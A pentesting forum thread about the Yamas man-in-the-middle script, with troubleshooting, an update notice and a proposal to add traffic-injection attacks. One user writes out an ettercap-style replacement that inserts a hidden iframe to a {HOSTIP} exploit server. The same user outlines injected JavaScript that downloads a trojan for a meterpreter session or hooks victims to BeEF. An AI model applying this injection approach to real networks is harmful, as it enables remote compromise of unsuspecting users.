Printable View
Well all sorted now.. first of all thanks a lot for this beautiful script..works like a charm. Now about my stupidity :o
Basically I was sniffing my own ip (Backtrack machine), the same machine where from I was launching the attack.
Anyway ran another virtual machine and logged in various accounts from that VM and your script is working like a charm. Thanks a lot comaX.
My pleasure ;) I'm glad you sorted the issue yourself in the end! Next time, do mention VMs, they are "interesting" pieces of work networking wise...Quote:
Originally Posted by hannah
I am glad too. And thanks to you for your script.Quote:
Originally Posted by comaX
Cheers
Hi everyone ! I just updated Yamas for R3, go and grab it ! http://yamas.comax.fr
Please report any problem, even if it should run just fine with BT5R3 !
Hey man, great script as usual blah blah blah. Two things.
1) I can now officially confirm the update bug is gone. :D
2) I have an idea for a new option. Targeted RCE by way of content replacement of HTML. Something like this. ettercap and others have filters that allow for the dynamic replacement of content that is sent to the victim. So instead of doing things like switching "You're hired!" for "You're fired!" as a prank, do things like switch "</HTML>" for "<iframe SRC={HOSTIP} width="0" height="0"></iframe></HTML>" to redirect him to your waiting client side exploit. Or better yet, embed evil java script to download and run a client side exe to send a meterpreter session to your waiting listener. Or any payload.
I suggest this here instead of to rel1k for SET because most exploit frameworks are WAN, and this tool is mainly LAN. Let me know what you think...
It's a good point you're raising and I've thought of doing that before. But here's the thing, the milion dollar question : where do I stop ? I intended Yamas to be "another MITM script", not a hack-everything tool (even though, yes it still pertains to that domain). So, I added stuff here and there because they're easy and fun to use but I still struggle defining where it should stop. A while back I had in mind to do a simplified Yamas : no questions asked, all-automated and more tools, for exploitation for instance. But I don't know, I still can't set my mind to it.
Maybe somehow I think what there is for now is enough, and if you want to exploit by redirecting to your own server, you could/should do it sideways, by yourself. By the way, since there is DNS spoofing, you can alredy kind of do that ;) but don't tell :p
Modifications of the code on-the-fly is something really sweet though. You actually make me want to do that more powerful project. But hey, that won't see the light of the day before a f-ing while !
In a bold attempt to convince you to add this to yamas as a opposed to making a new tool, here's my logic.
You wrote yamas as a tool to present to people the dangers of ARP-spoofing and MiTM attacks. Any attack that falls until the status of an attack that can be carried out as a *DIRECT RESULT* of a MiTM falls under yamas's domain. To say that yamas is really just a simple tool to snoop, with some advanced features thrown in for fun, is to deny the true purpose and brilliance of the tool.
Yamas's purpose is to provide a framework that people can point to and say "This is why you need X!", whatever X may be. To say that the danger of MiTM starts and ends with passwords and URL's is foolish and naive. There is so much more.
To incorporate RCE with iframe redirection, javascript enbedding to an MSF listener, evil JS to download and run a trojan, or XSS to hook to BeEF is to truly be able to say "I have a tool that can show you how truly dangerous MiTM is." to anyone. As the expression goes "You can't argue with a root shell." It's an obvious extension of the tool. It's not a separate tool. MiTM is about what hackers would do in that situation. If a hacker has MiTM access, rest assured he will gain RCE with it. If the pentester can run your tool and show the client the real dangers, then the client will protect himself. If not, nobody cares about theoretics.
To add these to your script would be to fully appreciate what MiTM is, and provide a framework to protect people from it in the long term.
You, sir, are totally right. I must level with you though: that doesn't mean I'll do it (even if it would be awesome).
Who knows, maybe someday you'll get a pre-release ;)
and credit! :D Imma hold you to that though, cuz my explanation was beautiful. :)
BUMP... Sorry, but I needed comaX to see this.
Here's a *VERY* easy way to implement the idea I had. Take the filter from here, and paste it into a text file: http://www.hackyeah.com/2010/10/ette...owser_autopwn/
Next, ask the user, what the redirection URL he wants the attackees to be redirected to is.
Replace the URL and IP in there with the users, and compile the new filter with ettercap, then restart ettercap with that filter. All this assumes that the user has a waiting listen with a payload, be it BeEF, msf, SET or a custom thing. You may need to add a </iframe> after the added iframe, that's something that can come with testing. But this is very simple and easy, and it will demonstrate the danger of MiTM also. :)
Tell me what you think...